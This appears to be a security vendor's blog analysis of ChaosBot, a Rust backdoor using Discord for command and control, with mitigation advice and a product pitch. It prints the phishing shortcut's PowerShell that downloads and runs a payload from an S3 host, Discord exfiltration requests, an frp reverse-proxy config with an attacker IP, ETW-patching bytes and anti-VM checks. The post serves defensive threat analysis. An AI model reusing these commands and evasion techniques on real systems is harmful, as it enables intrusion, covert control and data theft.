Sıla Özeren Hacıoğlu | 9 MIN READ

CREATED ON October 21, 2025

New Rust Malware "ChaosBot" Leverages Discord for Stealthy Command and Control

The sophisticated, Rust-based malware, dubbed ChaosBot, has been exposed utilizing the Discord platform for its Command and Control (C2) operations. This isn't your average botnet; it's a new generation of threat that hides its malicious traffic by communicating over the popular, legitimate service [1].

ChaosBot operates by validating its credentials with the Discord API, then creating a private text channel named after its victim's computer. This channel serves as an interactive, covert shell. Attackers send commands, such as shell, download, and scr (screenshot), directly into the channel, and the victim machine sends the results back as attached files. Further compounding the danger, the malware uses anti-analysis techniques like patching the Windows ETW function and checking for Virtual Machine MAC addresses to stay off the radar of security researchers.

This blog post offers a comprehensive analysis of the ChaosBot malware, detailing its unique infection chain and Discord-based Command and Control (C2). We conclude with essential mitigation strategies.

Attack Vector and Initial Access

The initial intrusion was facilitated by compromised credentials for both CiscoVPN and an over-privileged Active Directory account named "serviceaccount." The attackers leveraged this access to deploy and execute ChaosBot using WMI (Windows Management Instrumentation) for remote command execution across the network.

The ChaosBot payload, disguised as msedge_elf.dll, was executed via DLL side-loading against the legitimate Microsoft Edge component identity_helper.exe from the C:\Users\Public\Libraries directory.

Alternate Initial Access: Malicious Shortcut Phishing

In an alternative and equally insidious method, ChaosBot operators employ phishing campaigns that use malicious Windows Shortcut (.lnk) files. These shortcuts are designed to appear as legitimate correspondence from the State Bank of Vietnam.

The shortcut executes a PowerShell command that serves two purposes:

  1. Downloads and executes the ChaosBot malware.
  2. Simultaneously downloads and opens an innocuous PDF document to mislead the victim, providing a deceptive cover for the infection.

The PowerShell snippet responsible for this decoy and deployment is shown below:
$LocalPath = (Get-Location).Path
Start-Sleep -Milliseconds 500

Remove-Item -Path "$LocalPath\2557.KV6-TTKQ.pdf.lnk" -Force

Invoke-WebRequest -Uri "https://wsbcard.s3.dualstack.us-east-1.amazonaws.com/test/2557.KV6-TTKQ.pdf" -OutFile "$LocalPath\2557.KV6-TTKQ.pdf";

Invoke-Item "$LocalPath\2557.KV6-TTKQ.pdf";

if (-(not (Test-Path "C:\Users\Public\videos\UltraViewer"))) {New-Item -Type Directory "C:\Users\Public\videos\UltraViewer" -Force|Out-Null;}

Invoke-WebRequest -Uri "https://wsbcard.s3.dualstack.us-east-1.amazonaws.com/test/UltraViewer.zip" -OutFile "C:\Users\Public\videos\UltraViewer\UltraViewer.zip";

Expand-Archive -Path "C:\Users\Public\videos\UltraViewer\UltraViewer.zip" -DestinationPath "C:\Users\Public\videos\UltraViewer" -Force;

Remove-Item "C:\Users\Public\videos\UltraViewer\UltraViewer.zip" -Force;

Invoke-Item "C:\Users\Public\videos\UltraViewer\UltraViewer.exe"

The document is designed to look like a highly official communication from a major Vietnamese government body:

  • NGÂN HÀNG NHÀ NƯỚC VIỆT NAM translates to the State Bank of Vietnam (the country's central bank). This immediately lends maximum credibility to the document.

  • CHI NHÁNH KHU VỰC 6 means Area/Region 6 Branch. This specifies a particular branch of the central bank, making the notice seem more targeted and relevant.

  • Số: 2557 /KV6-TTKQ is the official reference number and code, mimicking a standard government document identifier.

  • V/v Thông báo về việc thực hiện các yêu cầu quản lý, giám sát mới đối với tổ chức tín dụng và ngân hàng từ ngày 01/10 translates to the subject: "Notice on the implementation of new management and supervision requirements for credit institutions and banks from October 1st."

In short, the decoy PDF is a fake, highly formal official regulatory notice from the central bank, instructing financial institutions on new compliance and oversight requirements.

ChaosBot's Discord-Based C2 Protocol

ChaosBot is written in the Rust programming language, leveraging either the reqwest or serenity library for API interactions. The malware is configured with a Discord bot token, Guild (server) ID, and Channel ID.

1. Token Validation and Initial Check-in

The malware first validates its bot token with a simple GET request to the Discord API:

GET hxxps://discord[.]com/api/v10/users/@me

This action requires the bot token to be correctly formatted in the Authorization header, as demonstrated in this snippet of disassembled instructions, which show the construction of the "Bot " prefix and the subsequent call to send the request:

try {
    lea     rax, rbp[430h+Src]
    mov     rdi, rax
    lea     rax, aHttppsIDiscordCo_1; "hxxps://discord[.]com/api/v10/users/@me"
    ...
    mov     rax, off_7FFE8808F128; "Bot "
    ...
LOC_7FFE87E59C91:
try {
    ...
    lea     rax, aAuthorization_2; "Authorization"
    ...
LOC_7FFE87E59D0C:
try {
    lea     rax, [rbp+430h+Src]
    lea     rdx, [rbp+430h+var_300]
    call    ZN7Request6IOasync_impl14RequestBuilder4send17h92bef17b4be010d3E; request::async_impl::request::RequestBuilder::send

2. Creating a Victim Channel

Upon successful validation, ChaosBot creates a new, dedicated channel within the threat actor's Discord server, naming it after the victim's computer name.

POST hxxps://discord[.]com/api/v10/guilds/<THREAT_ACTOR_GUILD_ID>/channels {"name":"<VICTIM_COMPUTER_NAME>","type":0}

The malware then sends an initial message to the general channel, notifying the operators of the new compromise:

{"content":"Host <VICTIM_COMPUTER_NAME> connected, channel created: <#<NEW_VICTIM_CHANNEL_ID>>"}

Intriguingly, the general channel across all known affiliated servers is named "常规" (meaning "regular" or "general" in Chinese), which may suggest the operators are using a Chinese version of Discord.

3. Command Execution and Data Exfiltration

ChaosBot operates via a continuous loop, checking for new messages (commands) in the victim's dedicated Discord channel. The primary command for lateral movement and reconnaissance is shell.

A key technical detail for post-execution: when running shell commands, the malware uses a consistent PowerShell command line that forces UTF8 encoding for the output:

powershell -Command "$OutputEncoding = [System.Text.Encoding]::UTF8; <SOME_COMMAND> "

After command execution, the results, whether stdout/stderr from a shell command, a screenshot, or a file—are exfiltrated back to the channel as an attachment using the multipart/form-data format:

POST hxxps://discord[.]com/api/v10/channels/<NEW_VICTIM_CHANNEL_ID>/messages HTTP/1.1
authorization: Bot <THREAT ACTOR TOKEN>
content-type: multipart/form-data; boundary=5f99ab663278ac81-65c102c6d63d8cd1-9db09b11003f226d-8e82ec63d72d5e6b
...
Content-Disposition: form-data; name="file"; filename="command_result_1a21a207-017c-4351-8fec-db26c5138cd4.txt"

Host Name: . . . . . . . . . . . . DESKTOP-LI1QSPG
OS Name: . . . . . . . . . . . . . Microsoft Windows 10 Pro
OS Version: . . . . . . . . . . . . 10.0.16299 N/A Build 16299

This interaction is highly effective, giving the attacker a seamless, interactive shell experience via Discord:

  • ChaosBot APP 11:10 PM shell systeminfo (Command to victim machine)
  • Host Name: DESKTOP-LI1QSPG OS Name: Microsoft Windows 10 Pro (Results from victim machine)

ChaosBot Command Capabilities

Command

Description

shell <command>

Executes command via PowerShell and uploads output to Discord channel as a TXT file.

download <url> <path>

Downloads a file from the internet to the victim device.

scr

Captures a screenshot of the victim device and uploads it to the Discord channel as a PNG file.

upload <src_path>

Uploads a specified file from the victim device to the Discord channel.

Evasion and Persistence Techniques

ChaosBot employs sophisticated techniques to evade detection and analysis.

ETW Evasion (Event Tracing for Windows)

New variants patch the first few instructions of ntdll!EtwEventWrite in memory, specifically by replacing the initial instructions with xor eax, eax followed by ret. This successfully disables ETW telemetry for the process, hindering EDR (Endpoint Detection and Response) and sandbox visibility.

The patching process involves first calling VirtualProtect to change memory permissions:

BA 03 00 00 00   mov     edx, 3
48 89 D9         mov     rcx, rbx
41 B8 40 00 00 00  mov     r8d, 40h ; ' @' ; PAGE_EXECUTE_READWRITE
41 FF D6         call    r14          ; VirtualProtect
...

Followed by the patching of the first few bytes with the new instructions:

66 C7 03 31 C0   mov     word ptr [rbx], 0C031h ; xor eax, eax
C6 43 02 C3      mov     byte ptr [rbx+2], 0C3h  ; ret

Anti-VM Check

The malware checks the system's MAC addresses against known prefixes for Virtual Machines like VMWare (00:0C:29, 00:50:56, 00:05:69) and VirtualBox (08:00:27). If a match is found, the malware halts execution to evade analysis in sandboxed environments.

loc_7FF7561171A4: ; 00:0C:29 -> VMware, Inc.
48 B8 30 30 3A 30 43 3A 3A mov     rax, 39323A4330303A3030h
32 39
49 39 45 00      cmp     [r13+0], rax
74 34            jz      short loc_7FF7561171E8

; 00:50:56 -> VMware, Inc.
48 B8 30 30 3A 30 35 3A 3A mov     rax, 36353A3035303A3030h
35 36
49 39 45 00      cmp     [r13+0], rax
74 24            jz      short loc_7FF7561171E8
...

Post-Compromise: Reverse Proxy and Secondary Backdoors

Following initial compromise, the threat actors immediately focused on establishing persistent access and bypassing perimeter controls.

Fast Reverse Proxy (FRP) Deployment

The download and shell commands were used to deploy and execute the legitimate tool fast reverse proxy (frp), saving the executable as node.exe and the configuration as node.ini in the Public user directory.

shell c:\\users\\public\\music\\node.exe -c c:\\users\\public\\music\\node.ini

The configuration shows the proxy is set to connect to an Amazon Web Services (AWS) IP in the Asia Pacific (Hong Kong) region, allowing for persistent, covert access:

#frpc.ini [common]
server_addr = 18.162.110[.]113
server_port = 7000
...
[plugin_socks5]
type = tcp
remote_port = 6005
plugin = socks5
plugin_user = niuben
plugin_passwd = <REDACTED>

Experimentation with VS Code Tunnels

Attackers also attempted to set up an additional backdoor using the legitimate Visual Studio Code Tunnel service. While the command ultimately failed due to a lack of interactive handling for the required authentication prompt (Microsoft Account or GitHub), it reveals an active effort to experiment with and leverage trusted cloud service features for command/script execution capabilities.

shell (echo | c:\\users\\public\\music\\code.exe tunnel service install > c:\\users\\public\\music\\log)

Recommendations and Mitigations

The ChaosBot analysis provides clear takeaways for strengthening security posture:

  • Enforce Strong Authentication: Immediately implement Multi-Factor Authentication (MFA) for all external access points (e.g., VPN) and privileged accounts (e.g., Active Directory service accounts) to prevent credential compromise-based initial access.

  • Restrict WMI Use: Monitor and restrict WMI usage, especially for command execution from service accounts. Treat all remote WMI execution as highly suspicious.

  • Monitor Discord Traffic: Actively monitor for unusual HTTP/S traffic to Discord API endpoints, particularly POST requests containing bot tokens, which is a key indicator of C2 activity.

  • Enforce Application Whitelisting: Implement application control solutions to prevent the execution of unauthorized payloads like msedge_elf.dll and known suspicious programs (node.exe, frpc.exe, etc.) from unapproved locations like the Public user profile directories.

  • Educate on Phishing: Conduct regular training on phishing threats, emphasizing the risks associated with unexpected files, especially shortcut (.lnk) files, even if they appear to lead to legitimate documents.

  • Monitor for Evasion: Ensure EDR solutions are configured to detect and prevent common memory-patching techniques like the EtwEventWrite hook utilized by ChaosBot.

How Picus Helps Defend Against ChaosBot Malware Attacks?

The Picus Security Validation Platform safely simulates the ChaosBot malware campaign. Through the Picus Threat Library, it replicates the tactics, techniques, and procedures (TTPs) observed in these campaigns to reveal detection and prevention gaps across EDR, NGFW, and SIEM technologies, before adversaries can exploit them.

You can also test your defenses against hundreds of other malware variants, such as SnipBot, SlipScreen Loader, RustyClaw, within minutes with a 14-day free trial of the Picus Platform.

Threat ID

Threat Name

Attack Module

47754

ChaosBot Backdoor Malware Download Threat

Network Infiltration

60321

ChaosBot Backdoor Malware Email Threat

Email Infiltration

References 

[1] “New Rust Malware ‘ChaosBot’ Uses Discord for Command and Control,” eSentire, Oct. 09, 2025. Available: https://www.esentire.com/blog/new-rust-malware-chaosbot-uses-discord-for-command-and-control. [Accessed: Oct. 17, 2025]

Table of Contents